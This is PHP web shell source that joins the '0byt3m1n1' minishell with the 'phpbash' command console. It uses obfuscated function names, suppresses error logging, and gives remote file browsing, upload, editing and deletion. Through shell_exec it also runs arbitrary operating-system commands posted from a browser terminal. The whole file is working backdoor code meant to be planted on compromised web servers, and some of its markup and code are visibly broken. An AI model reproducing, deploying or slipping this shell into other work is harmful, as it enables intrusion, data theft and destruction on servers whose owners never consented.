/*
0 b y t 3 m 1 n 1 - 2.2
Bypass 403 Forbidden / Auto Delete Shell / PHP Malware Detector / Minishell
*/
set_time_limit(0);
error_reporting(0);
error_log(0);
$sname = "\x30\x62\x79\x74\x33\x6d\x31\x6e\x31" . "-V2";
$__gcdir = "\x67" . "\x65\x74\x63\x77\x64";
$__fgetcon7s = "\x66\x69\x6c\x65" . "\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73";
$__scdir = "s" . "\x63\x61\x6e\x64\x69" . "r";
$rm__dir = "\x72\x6d\x64" . "ir";
$un__link = "\x75\x6e" . "\x6c\x69\x6e\x6b";
if (get_magic_quotes_gpc()) {
foreach ($_POST as $key => $value) {
$_POST[$key] = stripslashes($value);
}
}
'.$sname.'echo '<!DOCTYPE html><meta name="robots" content"noindex. nofollow"><link href="https://fonts.googleapis.com/css?family=VT323" rel="stylesheet"><title>'.$sname.'</title><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script><link href="//zerobyte-id.github.io/PHP-Backdoor/inc/m1n1.css" rel="stylesheet" type="text/css">';
echo '<div style="color:#ef6c00;margin-top:0;">

' . $sname . '

</div>';
if (isset($_GET['path'])) {
$path = $_GET['path'];
chdir($_GET['path']);
} else {
$path = $__gcdir();
}
$path = str_replace("\\", "/", $path);
$paths = explode("/", $path);
echo '<table width="100%" border="0" align="center" style="margin-top:-10px;">';
echo "<font style='font-size:13px;'>Path: ";
foreach ($paths as $id => $pat) {
echo "<a style='font-size:13px;' href='?path=";
for ($i = 0; $i <= $id; $i++) {
echo $paths[$i];
if ($i != $id) {
echo "/";
}
}
echo "'>$pat</a>/";
}
echo '
[ <a href="?">Home</a> ]</font><td align="center" width="27%">
<td colspan="2">';
if (isset($_FILES['file'])) {
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
echo '
<font color="#00ff00">Upload OK!</font>
<br/>';
} else {
echo '
<font color="red">Upload FAILED!</font>
<br/>';
}
}
echo '<div class="table-div"></div><input id="image" type="hidden">';
echo '';
if (isset($_GET['filesrc'])) {
echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">File: ';
echo "" . basename($_GET['filesrc']);
"";
echo '<br />';
echo ("
<textarea readonly=''>" . htmlspecialchars($__fgetcon7s($_GET['filesrc'])) . "</textarea>
");
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
echo '<br />
' . $_POST['path'] . '<br /><br />';
if ($_POST['opt'] == 'rename') {
if (isset($_POST['newname'])) {
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
echo '
<font color="#00ff00">Rename OK!</font>
<br />';
} else {
echo '
<font color="red">Rename Failed!</font>
<br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '
New Name :
';
} elseif ($_POST['opt'] == 'edit') {
if (isset($_POST['src'])) {
$fp = fopen($_POST['path'], 'w');
if (fwrite($fp, $_POST['src'])) {
echo '
<font color="#00ff00">Edit File OK!.</font>
<br />';
} else {
echo '
<font color="red">Edit File Failed!.</font>
<br />';
}
fclose($fp);
}
echo '
<textarea cols=80 rows=20 name="src">' . htmlspecialchars($__fgetcon7s($_POST['path'])) . '</textarea><br />
';
}
echo '
';
} else {
echo '<br />
';
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
if ($_POST['type'] == 'dir') {
if ($rm__dir($_POST['path'])) {
echo '
<font color="#00ff00">Dir Deleted!</font>
<br />';
} else {
echo '
<font color="red">Delete Dir Failed!</font>
<br />';
}
} elseif ($_POST['type'] == 'file') {
if ($un__link($_POST['path'])) {
echo '<font color="#00ff00">Delete File Done.</font><br />';
} else {
echo '<font color="red">Delete File Error.</font><br />';
}
}
}
echo '
';
$_scdir = $__scdir($path);
echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center"><tr class="first"> <th>
Name
</th><th width="12%">
Size
</th><th width="10%">
Permissions
</th> <th width="15%">
Last Update
</th><th width="11%">
Options
</th>';
foreach ($_scdir as $dir) {
if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..')
continue;
echo "[D] <a href=\"?path=$path/$dir\">$dir</a>
--
";
if (is_writable("$path/$dir"))
echo '<font color="#00ff00">';
elseif (!is_readable("$path/$dir"))
echo '<font color="red">';
echo perms("$path/$dir");
if (is_writable("$path/$dir") || !is_readable("$path/$dir"))
echo '</font>';
echo "
" . date("d-M-Y H:i", filemtime("$path/$dir")) . "";
echo "
<select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option></select><input type=\"hidden\" name=\"type\" value=\"dir\"><input type=\"hidden\" name=\"name\" value=\"$dir\"><input type=\"hidden\" name=\"path\" value=\"$path/$dir\"><input type=\"submit\" value=\"+\" />
";
}
foreach ($_scdir as $file) {
if (!is_file("$path/$file"))
continue;
$size = filesize("$path/$file") / 1024;
$size = round($size, 3);
if ($size >= 1024) {
$size = round($size / 1024, 2) . ' MB';
} else {
$size = $size . ' KB';
}
echo "[F] <a href=\"?filesrc=$path/$file&path=$path\">$file</a>
" . $size . "
";
if (is_writable("$path/$file"))
echo '<font color="#00ff00">';
elseif (!is_readable("$path/$file"))
echo '<font color="red">';
echo perms("$path/$file");
if (is_writable("$path/$file") || !is_readable("$path/$file"))
echo '</font>';
echo "
" . date("d-M-Y H:i", filemtime("$path/$file")) . "";
echo "
<select name=\"opt\"><option value=\"\"></option><option value=\"delete\">Delete</option><option value=\"rename\">Rename</option><option value=\"edit\">Edit</option></select><input type=\"hidden\" name=\"type\" value=\"file\"><input type=\"hidden\" name=\"name\" value=\"$file\"><input type=\"hidden\" name=\"path\" value=\"$path/$file\"><input type=\"submit\" value=\"+\" />
";
}
echo '</div>';
}
function perms($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
echo '
&copy; <span id="footer"></span> 2018.

';
echo '<!-- EOF -->';




/* phpbash by Alexander Reid (Arrexel) */
if (ISSET($_POST['cmd'])) {
$output = preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1"));
foreach ($output as $line) {
echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "
";
}
die();
} else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])) {
$filename = $_FILES["file"]["name"];
$path = $_POST['path'];
if ($path != "/") {
$path .= "/";
}
if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)) {
echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);
} else {
echo "Error uploading " . htmlentities($filename);
}
die();
}




<title></title>
<style>
html, body {
max-width: 100%;
}

body {
width: 100%;
height: 100%;
margin: 0;
background: #000;
}

body, .inputtext {
font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace;
font-size: 14px;
font-style: normal;
font-variant: normal;
font-weight: 400;
line-height: 20px;
overflow: hidden;
}

.console {
width: 100%;
height: 100%;
margin: auto;
position: absolute;
color: #fff;
}

.output {
width: auto;
height: auto;
position: absolute;
overflow-y: scroll;
top: 0;
bottom: 30px;
left: 5px;
right: 0;
line-height: 20px;
}

.input form {
position: relative;
margin-bottom: 0px;
}

.username {
height: 30px;
width: auto;
padding-left: 5px;
line-height: 30px;
float: left;
}

.input {
border-top: 1px solid #333333;
width: 100%;
height: 30px;
position: absolute;
bottom: 0;
}

.inputtext {
width: auto;
height: 30px;
bottom: 0px;
margin-bottom: 0px;
background: #000;
border: 0;
float: left;
padding-left: 8px;
color: #fff;
}

.inputtext:focus {
outline: none;
}

::-webkit-scrollbar {
width: 12px;
}

::-webkit-scrollbar-track {
background: #101010;
}

::-webkit-scrollbar-thumb {
background: #303030;
}
</style>


<div class="console">
<div class="output" id="output"></div>
<div class="input" id="input">

<div class="username" id="username"></div>


</div>
</div>



<script type="text/javascript">
var username = "";
var hostname = "";
var currentDir = "";
var previousDir = "";
var defaultDir = "";
var commandHistory = [];
var currentCommand = 0;
var inputTextElement = document.getElementById('inputtext');
var inputElement = document.getElementById("input");
var outputElement = document.getElementById("output");
var usernameElement = document.getElementById("username");
var uploadFormElement = document.getElementById("upload");
var fileBrowserElement = document.getElementById("filebrowser");
getShellInfo();

function getShellInfo() {
var request = new XMLHttpRequest();

request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
var parsedResponse = request.responseText.split("
");
username = parsedResponse[0];
hostname = parsedResponse[1];
currentDir = parsedResponse[2].replace(new RegExp("&sol;", "g"), "/");
defaultDir = currentDir;
usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";
updateInputWidth();
}
};

request.open("POST", "", true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send("cmd=whoami; hostname; pwd");
}

function sendCommand() {
var request = new XMLHttpRequest();
var command = inputTextElement.value;
var originalCommand = command;
var originalDir = currentDir;
var cd = false;

commandHistory.push(originalCommand);
switchCommand(commandHistory.length);
inputTextElement.value = "";

var parsedCommand = command.split(" ");

if (parsedCommand[0] == "cd") {
cd = true;
if (parsedCommand.length == 1) {
command = "cd "+defaultDir+"; pwd";
} else if (parsedCommand[1] == "-") {
command = "cd "+previousDir+"; pwd";
} else {
command = "cd "+currentDir+"; "+command+"; pwd";
}

} else if (parsedCommand[0] == "clear") {
outputElement.innerHTML = "";
return false;
} else if (parsedCommand[0] == "upload") {
fileBrowserElement.click();
return false;
} else {
command = "cd "+currentDir+"; " + command;
}

request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
if (cd) {
var parsedResponse = request.responseText.split("
");
previousDir = currentDir;
currentDir = parsedResponse[0].replace(new RegExp("&sol;", "g"), "/");
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div>
";
usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";
} else {
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div>
" + request.responseText.replace(new RegExp("

$"), "
");
outputElement.scrollTop = outputElement.scrollHeight;
}
updateInputWidth();
}
};

request.open("POST", "", true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send("cmd="+encodeURIComponent(command));
return false;
}

function uploadFile() {
var formData = new FormData();
formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name);
formData.append('path', currentDir);

var request = new XMLHttpRequest();

request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
outputElement.innerHTML += request.responseText+"
";
}
};

request.open("POST", "", true);
request.send(formData);
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div>
";
}

function updateInputWidth() {
inputTextElement.style.width = inputElement.clientWidth - usernameElement.clientWidth - 15;
}

document.onkeydown = checkForArrowKeys;

function checkForArrowKeys(e) {
e = e || window.event;

if (e.keyCode == '38') {
previousCommand();
} else if (e.keyCode == '40') {
nextCommand();
}
}

function previousCommand() {
if (currentCommand != 0) {
switchCommand(currentCommand-1);
}
}

function nextCommand() {
if (currentCommand != commandHistory.length) {
switchCommand(currentCommand+1);
}
}

function switchCommand(newCommand) {
currentCommand = newCommand;

if (currentCommand == commandHistory.length) {
inputTextElement.value = "";
} else {
inputTextElement.value = commandHistory[currentCommand];
setTimeout(function(){ inputTextElement.selectionStart = inputTextElement.selectionEnd = 10000; }, 0);
}
}

document.getElementById("form").addEventListener("submit", function(event){
event.preventDefault()
});
</script>